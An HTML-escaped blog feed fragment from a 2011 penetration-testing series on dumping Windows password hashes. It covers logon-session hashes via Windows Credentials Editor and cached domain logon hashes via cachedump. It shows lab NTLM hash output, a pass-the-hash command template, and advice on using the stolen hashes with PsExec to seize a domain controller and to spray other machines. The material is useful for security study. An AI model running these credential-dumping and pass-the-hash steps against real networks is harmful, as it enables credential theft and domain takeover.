&lt;li&gt;&lt;a href=&quot;http://corelabs.coresecurity.com/index.php?module=Wiki&amp;amp;action=view&amp;amp;type=publication&amp;amp;name=Pass-the-Hash_Toolkit_for_Windows&quot;&gt;Pass-The-Hash Toolkit for Windows: Implementation &amp;amp; use&lt;/a&gt; presented at&amp;nbsp;&lt;a href=&quot;http://conference.hitb.org/hitbsecconf2008kl/index.html%3Fpage_id=210.html&quot;&gt;Hack In The Box Security Conference in Malaysia&lt;/a&gt;&amp;nbsp;on late 2008. Despite being a dated presentation, it offers insight on the history and techniques used in post-exploitation scenarios, specifically focusing on the more generic Pass-the-Hash technique and its implementation in the Pass-The-Hash Toolkit.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.ampliasecurity.com/research/WCE_Internals_RootedCon2011_ampliasecurity.pdf&quot;&gt;WCE Internals&lt;/a&gt;&amp;nbsp;presented at &lt;a href=&quot;http://www.rootedcon.es/&quot;&gt;RootedCon&lt;/a&gt; in Madrid on early 2011. This presentation explains the inner workings of WCE including how Windows store credentials in memory pre and post Windows Vista.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.ampliasecurity.com/research/wce12_uba_ampliasecurity_eng.pdf&quot;&gt;Post-Exploitation with WCE&lt;/a&gt; presented on July 2011. Simple and effective high-level presentation with test cases. I recommend you reading this presentation before anything else if you are totally unfamiliar with logon sessions and pass-the-hash technique. Another good read is the tool&#39;s &lt;a href=&quot;http://www.ampliasecurity.com/research/wcefaq.html&quot;&gt;FAQ page&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Between these two tools, I prefer WCE for a number of reasons: it is one single executable, it is safer than all the other tools as it is the only one to implement the reading of LSASS memory technique as an alternative to performing code injection and it works across all Windows versions and on both architectures.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
For the purpose of this post, I have set a Windows Server 2003 R2 Service Pack 2 fully patched machine (NetBIOS name: &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;w2k3r2&lt;/span&gt;) in the following state:&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;Local &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Administrator&lt;/span&gt; with a 15-characters long password logged interactively to the console.&lt;/li&gt;
&lt;li&gt;Two local users, &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;inquis&lt;/span&gt; and &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;foobar&lt;/span&gt;, both connected over RDP, respectively using mstsc, the default RDP client on Windows, and rdesktop, a RDP client for Unix/Linux.&lt;/li&gt;
&lt;li&gt;A few services, all related to IBM DB2 database management system, running as local administrator,&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;db2admin&lt;/span&gt;.&lt;/li&gt;
&lt;/ul&gt;
lslsass was deliberately excluded from my tests as it only works on Windows Vista onwards.&lt;/div&gt;
&lt;div&gt;
All the tested tools were able dump the logon sessions successfully. Follows the output of Windows Credentials Editor:&lt;/div&gt;
&lt;div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;C:\&amp;gt;wce.exe -l&lt;/span&gt;&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;blockquote&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;WCE v1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)&lt;br /&gt;Use -h for help.&lt;/span&gt;&amp;nbsp;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;b&gt;Administrator:W2K3R2:00000000000000000000000000000000:237599E85CF684A6785A12ACD2E24E5C&lt;br /&gt;inquis:W2K3R2:0AC9A586623764E16591BB5472A3AD4A:89F411F435A93044E2E8AA4CEDFE0FBA&lt;br /&gt;foobar:W2K3R2:87DCEB9223BE0E08FD8E74C8CEB3053A:33D807D89B36ACDF2FAB42A361DE0B91&lt;br /&gt;db2admin:W2K3R2:3AE6CCCE2A2A253F93E28745B8BF4BA6:35CCBA9168B1D5CA6093B4B7D56C619B&lt;/b&gt;&lt;br /&gt;W2K3R2$:WORKGROUP:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0&lt;/span&gt;&lt;/blockquote&gt;
As you can see, these tools dump logon sessions and display the username, domain/workgroup name and LM/NT hashes very similarly to&amp;nbsp;&lt;a href=&quot;http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes.html&quot;&gt;SAM hashes dump tools&lt;/a&gt;&amp;nbsp;output. The main difference is that these tools display the domain/workgroup name as domain users can be logged onto the system too as opposed to the user ID field shown by pwdump-alike tools.&lt;br /&gt;
&lt;br /&gt;
The following screen-shot demonstrates the successful dump too:&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8LM7Q_Q6DgJa8kK5QLBHSyEa_nvxz4LgWAQZCJZ5UNNfF-SB6D2bROPawidXOZ580IXaLguE8yEe4el6HbqJP8_yBgg1V6TtjMGCgOMK8uOIUep-fawelYkluB6iOlfT09hrVfV_67m8/s1600/01_logon_sessions_wce_dump.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;270&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8LM7Q_Q6DgJa8kK5QLBHSyEa_nvxz4LgWAQZCJZ5UNNfF-SB6D2bROPawidXOZ580IXaLguE8yEe4el6HbqJP8_yBgg1V6TtjMGCgOMK8uOIUep-fawelYkluB6iOlfT09hrVfV_67m8/s640/01_logon_sessions_wce_dump.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Dump of logon sessions with Windows Credentials Editor (WCE) on a Windows Server 2003 R2 machine where the Administrator is logged to the console, two users are logged remotely via RDP and one service is running as local user&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;
&lt;br /&gt;
I realized during my tests that regardless of the method used to close a session, the logon sessions remain in memory. Take&amp;nbsp;RDP connections, either if you disconnect (clicking on the top right &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;b&gt;X&lt;/b&gt;&lt;/span&gt;&amp;nbsp;button of your RDP client) or log off from the Start menu, they remain in memory. I have seen this happening on&amp;nbsp;Windows Server 2008 R2 Enterprise Service Pack 1 too. The main difference being that on Windows Vista onwards the logon sessions are erased from memory a few minutes after the user has logged off.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The following screen-shots demonstrate the described behaviour:&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNibpTwBLgKk4jTacUT7LdCjoNW0r__ZkngqgAO_I6CrKI9Ha_ySEkYUjIyZlQ0apASN4XxD6zzv1EcF4acQgzF2npbqEY5U3cyHPwl9uMWSpXddL8MhblXzk8YDu-3c1ezyWGTc4pxso/s1600/02_logon_sessions_wce_dump_after_one_rdp_disconnect.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;272&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNibpTwBLgKk4jTacUT7LdCjoNW0r__ZkngqgAO_I6CrKI9Ha_ySEkYUjIyZlQ0apASN4XxD6zzv1EcF4acQgzF2npbqEY5U3cyHPwl9uMWSpXddL8MhblXzk8YDu-3c1ezyWGTc4pxso/s640/02_logon_sessions_wce_dump_after_one_rdp_disconnect.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Dump of logon sessions following a disconnect via RDP of one user, &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;foobar&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt; - his logon session remains in memory&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNnNMOUbXZAKpPW_Nas9SOwY8IilCKn6teIqfJzwXA1M_eS7_u1SKSXg582OKsuEWpgaaZFfAUsByQch3zQQQZBYHFycosjCHWTxOqc1tXjvISImu7sX0N5jjoNyv908T81ktuaAD_eok/s1600/03_logon_sessions_wce_dump_after_a_forced_logoff_of_rdp_disconnected_session.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;346&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNnNMOUbXZAKpPW_Nas9SOwY8IilCKn6teIqfJzwXA1M_eS7_u1SKSXg582OKsuEWpgaaZFfAUsByQch3zQQQZBYHFycosjCHWTxOqc1tXjvISImu7sX0N5jjoNyv908T81ktuaAD_eok/s640/03_logon_sessions_wce_dump_after_a_forced_logoff_of_rdp_disconnected_session.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Dump of logon sessions following a forced log off of user&#39;s&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;foobar&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp;RDP connection&amp;nbsp;- his logon session remains in memory&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;db2admin&lt;/span&gt; logon session also remains in memory despite the relevant services are stopped.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Threats posed by logon sessions&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The scenario here is similar to &lt;a href=&quot;http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes_20.html&quot;&gt;LSA secrets dump&lt;/a&gt; and &lt;a href=&quot;http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes_21.html&quot;&gt;cached domain logon information&lt;/a&gt;:&amp;nbsp;you are &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Local System&lt;/span&gt; on a machine part of one or more Windows domains and you want to takeover the domains. There are no traces of domain users&#39; credentials from LSA secrets and the machine does not cache domain logon information.&lt;/div&gt;
&lt;div&gt;
To extend your control over the domain you can dump the logon sessions. If there is a logon session of a domain administrator, it is game over: impersonate that logon session to spawn a command prompt.&amp;nbsp;This technique is also known as &lt;b&gt;pass-the-hash&lt;/b&gt; or logon session stealing.&lt;/div&gt;
&lt;div&gt;
The command line would look like:&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;C:\&amp;gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;wce.exe -s &amp;lt;user&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;domain&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;LM hash&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;NT hash&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;nbsp;-c cmd.exe&lt;/span&gt;&lt;/blockquote&gt;
&lt;div&gt;
In the new command prompt window, connect over SMB, for instance with Sysinternals&#39;&amp;nbsp;&lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/bb897553&quot;&gt;PsExec&lt;/a&gt;,&amp;nbsp;to the root domain controller to takeover the Windows domain - Windows will use the impersonated NTLM credentials to authenticate against the domain controller and access will likely be granted as you are now, as a matter of facts, the domain administrator.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Alternatively, if there are no domain administrators&#39; logon sessions, you can still&amp;nbsp;&lt;a href=&quot;http://bernardodamele.blogspot.com/2009/12/keimpx-in-action.html&quot;&gt;spray the dumped logon sessions&#39; hashes&lt;/a&gt; to others machines&amp;nbsp;of the domain&amp;nbsp;exactly the same way you do to verify password reuse across machines with the&amp;nbsp;&lt;a href=&quot;http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes.html&quot;&gt;local users&#39; password hashes&lt;/a&gt;: in the event that you have dumped domain users&#39; logon sessions, chances are high that these users are allowed to login to others systems of the network therefore you have an easy way into these.&lt;/div&gt;
&lt;div&gt;
These systems might be vulnerable to others threats that allow you to takeover the domain from there, so it is definitely worth a try.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Apart from WCE, others tools can also perform pass-the-hash:&amp;nbsp;&lt;a href=&quot;http://www.truesec.se/sakerhet/verktyg/saakerhet/msvctl_v0.3&quot;&gt;msvctl&lt;/a&gt;&amp;nbsp;and&amp;nbsp;the more recent&amp;nbsp;&lt;a href=&quot;http://www.truesec.com/security/tools/security/runhash_v1.0_(x86)&quot;&gt;&lt;b&gt;RunhAsh&lt;/b&gt;&lt;/a&gt;&amp;nbsp;from TrueSec.&amp;nbsp;I have added these tools to the &lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0Ak-eXPencMnydGhwR1VvamhlNEljVHlJdVkxZ2RIaWc&quot;&gt;spread-sheet&lt;/a&gt;. Feedback is welcome!&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/7847134009308375056/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/7847134009308375056' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/7847134009308375056'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/7847134009308375056'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes_28.html' title='Dump Windows password hashes efficiently - Part 5'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAfMVWVv75Ic0qsGPAFEq6RiHxbOAxZ68LhupAkMoxK5v4ntTrZqt0gtAM3vjGZUxX_PusDE0ob5FiF8bACdX8N2kZtmwlcOjNGYvTHsWHQWP2nbPhzlfA8vthlcZ3wIMDcvrcLpKXd5M/s72-c/hernan_slide9_from_rootedcon_presentation.PNG" height="72" width="72"/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-6959090608929785798</id><published>2011-12-21T20:08:00.000+00:00</published><updated>2011-12-27T23:55:29.280+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="cache"/><category scheme="http://www.blogger.com/atom/ns#" term="cached"/><category scheme="http://www.blogger.com/atom/ns#" term="crack"/><category scheme="http://www.blogger.com/atom/ns#" term="credentials"/><category scheme="http://www.blogger.com/atom/ns#" term="domain"/><category scheme="http://www.blogger.com/atom/ns#" term="dump"/><category scheme="http://www.blogger.com/atom/ns#" term="hash"/><category scheme="http://www.blogger.com/atom/ns#" term="local security policy"/><category scheme="http://www.blogger.com/atom/ns#" term="logons"/><category scheme="http://www.blogger.com/atom/ns#" term="mscache"/><category scheme="http://www.blogger.com/atom/ns#" term="passwords"/><category scheme="http://www.blogger.com/atom/ns#" term="tool"/><category scheme="http://www.blogger.com/atom/ns#" term="windows"/><title type='text'>Dump Windows password hashes efficiently - Part 4</title><content type='html'>&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: large;&quot;&gt;Cached domain logon information&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Windows machines can be standalone workstations or part of a Windows domain in the role server or workstation.&lt;br /&gt;
When a user logs onto a workstation part of a domain, technically he can either log as a local user or a domain user given that he has the credentials.&lt;br /&gt;
&lt;br /&gt;
When logging as a domain user, three information are required: username, password and domain name. The latter is usually provided as a drop-down menu listing all domains that the system is part of.&lt;br /&gt;
Given this information, when the domain user logs onto the system, the provided password is hashed and checked&amp;nbsp;over the network&amp;nbsp;against the domain controller&#39;s valid password hash (physically stored within &lt;a href=&quot;http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes_16.html&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;ntds.dit&lt;/span&gt; file&lt;/a&gt;). This process is handled once again by the lsass.exe process.&lt;br /&gt;
LSASS first checks if the domain controller is available. If so, it proceeds with the password hash matching step and, depending on the result, it allows or denies access to the system to the authenticating domain user.&lt;br /&gt;
&lt;br /&gt;
In the event that none of the domain controllers are available, the legitimate domain user would not be able to login onto the system. To avoid this from happening, Microsoft has long ago introduced the &lt;b&gt;cached domain logon information&lt;/b&gt;&amp;nbsp;mechanism in Windows.&lt;br /&gt;
&lt;br /&gt;
Definition from&amp;nbsp;&lt;a href=&quot;http://technet.microsoft.com/en-us/library/cc755473(WS.10).aspx&quot;&gt;Microsoft&lt;/a&gt;:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;i&gt;All previous &lt;b&gt;users&#39; logon information is cached locally so that, in the event that a domain controller is unavailable during subsequent logon attempts, they are able to log on&lt;/b&gt;&amp;nbsp;[...]&lt;/i&gt;&lt;/blockquote&gt;
Therefore, when the&amp;nbsp;domain controllers are not available, the domain user can still log onto the domain machine. The only caveats being that he has previously successfully logged and that the system is configured to cache the domain logon information. The following screenshot shows you where this policy is set.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglGd3F-u4txxIydhsFghOCMHQ8r9o9F9o9mRi0pibKzTJDZbSvhoIj4dFuD9rdwETrI_LfzUbqEGVXYdyWWbt3QKjix5EbtYgfZRANUnq2mrPKMUyXCD6eNkBITX-trCwh7bHe0kOQoXM/s1600/interactive_logons_cached_domain_logons.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;244&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglGd3F-u4txxIydhsFghOCMHQ8r9o9F9o9mRi0pibKzTJDZbSvhoIj4dFuD9rdwETrI_LfzUbqEGVXYdyWWbt3QKjix5EbtYgfZRANUnq2mrPKMUyXCD6eNkBITX-trCwh7bHe0kOQoXM/s640/interactive_logons_cached_domain_logons.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Local Security Policy (secpol.msc) / Local Policies / Security Options / Interactive logon: Number of previous logons to cache (in case domain controller is not available)&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
You can also read the value of this policy in registry key&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\CachedLogonsCount&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
By default Windows XP and above are configured to cache 10 or more domain logon information.&lt;br /&gt;
Cached domain logon information is stored in registry hives&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;HKEY_LOCAL_MACHINE/Security/CACHE/NL$X&lt;/span&gt;&amp;nbsp;with&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;X&lt;/span&gt;&amp;nbsp;being a number. These registry hives are accessible by&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Local System&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp;and tools exist to dump them.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Dump cached domain logon information&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Like other hashes, these hashes can be accessed by DLL injection into the lsass.exe process or from the registry files.&lt;br /&gt;
For offline dump, copy off the system the registry files&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SYSTEM&lt;/span&gt; and &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SECURITY&lt;/span&gt;: you can use the legacy registry hive copy (&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;reg.exe&lt;/span&gt;/&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;regedit.exe&lt;/span&gt;) or the volume shadow copies technique illustrated in the &lt;a href=&quot;http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes.html&quot;&gt;first post&lt;/a&gt;. &lt;a href=&quot;http://www.oxid.it/cain.html&quot;&gt;Cain &amp;amp; Abel&lt;/a&gt;,&amp;nbsp;&lt;a href=&quot;http://code.google.com/p/creddump/&quot;&gt;&lt;b&gt;creddump&lt;/b&gt;&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/moyix&quot;&gt;Brendan Dolan-Gavitt&lt;/a&gt;&amp;nbsp;and&amp;nbsp;&lt;a href=&quot;http://www.passcape.com/windows_password_recovery&quot; style=&quot;font-weight: bold;&quot;&gt;Windows Password Recovery&lt;/a&gt;&amp;nbsp;by&amp;nbsp;&lt;a href=&quot;http://www.passcape.com/&quot;&gt;passcape&lt;/a&gt;&amp;nbsp;can extract cached domain logon information from these files.&lt;br /&gt;
Alternatively, there are numerous tools that can dump this by DLL injection into lsass.exe process.&amp;nbsp;On 32-bit architecture you can use the original &lt;a href=&quot;http://www.openwall.com/john/contrib/cachedump-1.2.zip&quot;&gt;&lt;b&gt;cachedump&lt;/b&gt;&lt;/a&gt; by &lt;a href=&quot;http://packetstormsecurity.org/files/author/3874/&quot;&gt;Arnaud Pilon&lt;/a&gt;&amp;nbsp;which proved to be reliable also on recent Windows versions, &lt;a href=&quot;http://www.foofus.net/~fizzgig/fgdump/&quot;&gt;fgdump&lt;/a&gt; or &lt;a href=&quot;http://packetstormsecurity.org/files/62371/PWDumpX14.zip&quot;&gt;PWDumpX&lt;/a&gt;.&lt;br /&gt;
Unfortunately though, none of the standalone free tools work on 64-bit architecture. In this case, you can rely on &lt;a href=&quot;http://www.metasploit.com/&quot;&gt;Metasploit Framework&lt;/a&gt; own &lt;a href=&quot;https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/cachedump.rb&quot;&gt;post-exploitation module&lt;/a&gt; if you have got a Meterpreter shell onto the target system.&lt;br /&gt;
&lt;br /&gt;
Follows the output of cachedump on a Windows system part of a domain:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;C:\&amp;gt;cachedump.exe -v&lt;br /&gt;Service not found. Installing CacheDump Service (C:\cachedump.exe -s)&lt;br /&gt;CacheDump service successfully installed.&lt;br /&gt;Service started.&lt;br /&gt;&lt;b&gt;user:2d9f0b052932ad18b87f315641921cda:lab:lab.internal&lt;/b&gt;&lt;br /&gt;Service currently active. &amp;nbsp;Stopping service...&lt;br /&gt;Service successfully removed.&lt;/span&gt;&lt;/blockquote&gt;
&lt;b&gt;Threats posed by cached domain logon information&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
